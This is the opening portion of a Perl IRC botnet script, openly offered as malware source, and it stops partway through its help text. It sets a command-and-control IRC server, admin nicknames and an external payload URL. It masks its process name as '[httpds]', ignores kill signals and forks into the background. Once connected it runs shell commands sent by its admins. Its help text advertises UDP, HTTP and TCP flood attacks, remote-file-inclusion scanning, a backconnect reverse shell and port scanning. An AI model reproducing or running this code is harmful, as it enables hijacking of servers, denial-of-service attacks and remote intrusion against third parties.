# # + Improved Scanner # + Improved Configuration # + Nmap PortScan # + LogCleaner # + Mailer # #You can use the following commands : # # ################################################################################### # _ _ _ ____ _ _____ _____ # # / \__/|/ \/ \ / _ \/ \ /|/ __//__ __\ # # | |\/||| || | | | \|| |\ ||| \ / \ # # | | ||| || |_/\| |_/|| | \||| /_ | | # # \_/ \|\_/\____/\____/\_/ \|\____\ \_/ # # someone???Production # ################################################################################### ###################### use HTTP::Request; use LWP::UserAgent; ###################### my $processo = '[httpds]'; ###################### ##################################################################### #/!\ .:CONFIGURATION:. /!\# ##################################################################### ############################################ my $linas_max='8'; #----------------- # # Maximum Lines for Anti Flood # ############################################# my $sleep='5'; #----------------- # #Sleep Time # ############################################ my $cmd="http://renewable-energy-news.com/cool.gif"; #----------------- # #CMD that is printed in the channel # ############################################ my $id="http://gundam-gundam.net/derf"; #----------------- # #ID = Response CMD # ############################################ my @adms=("putr4","emping","nob0dy"); #----------------- # #Admins of the Bot set your nickname here # ############################################ my @canais=("#test"); #----------------- # #Put your channel here # ############################################ my @nickname = ("sial|"); my $nick = $nickname[rand scalar @nickname]; #----------------- # #Nickname of bot # ############################################ my $ircname ='fuck'; chop (my $realname = '-=[!]putr4[!]=-'); #----------------- # #IRC name and Realname # ############################################ $servidor='irc.mildnet.cn' unless $servidor; my $porta='6667'; #----------------- # #IRCServer and port # ############################################ ##################################################################### #/!\ .:CONFIGURATION:. /!\# ##################################################################### ###################### #End of Configuration# # # ###################### $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; use IO::Socket; use Socket; use IO::Select; chdir("/"); ################################################################################### # _ _ _ ____ _ _____ _____ # # / \__/|/ \/ \ / _ \/ \ /|/ __//__ __\ # # | |\/||| || | | | \|| |\ ||| \ / \ # # | | ||| || |_/\| |_/|| | \||| /_ | | # # \_/ \|\_/\____/\____/\_/ \|\____\ \_/ # # someone???Production # ################################################################################### #Connect $servidor="$ARGV[0]" if $ARGV[0]; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; die "Masalah fork: $!" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 1; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.31 putr4\001"); } if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } #End of Connect ################################################################################### # _ _ _ ____ _ _____ _____ # # / \__/|/ \/ \ / _ \/ \ /|/ __//__ __\ # # | |\/||| || | | | \|| |\ ||| \ / \ # # | | ||| || |_/\| |_/|| | \||| /_ | | # # \_/ \|\_/\____/\____/\_/ \|\____\ \_/ # # someone???Production # ################################################################################### ###################### # PREFIX # # # ###################### # You can change the prefix if you want but the commands will be different # The standard prefix is !bot if you change it into !bitch for example # every command will be like !bitch @udpflood, !bitch @googlescan. # So its recommended not to change this ;) ###################### if ($args =~ /^(\Q$meunick\E|\!hajar)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } ###################### # End of PREFIX # # # ###################### elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick".int rand(999999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("JOIN $canal ddosit"); } } } sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { ###################### # Help # # # ###################### if ($funcarg =~ /^help/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 Select the function you want help for"); sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@ddos"); sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@rfiscan"); sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@backconnect"); sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@shell"); sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@portscanner"); sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 Or if you want too know all the commands type:"); sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@commands"); } if ($funcarg =~ /^ddos/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 There are 3 DDossers in this bot"); sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 UDPFlood, HTTPFlood and TCPFlood"); sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Help12:.4| 12 !bot 7@udpflood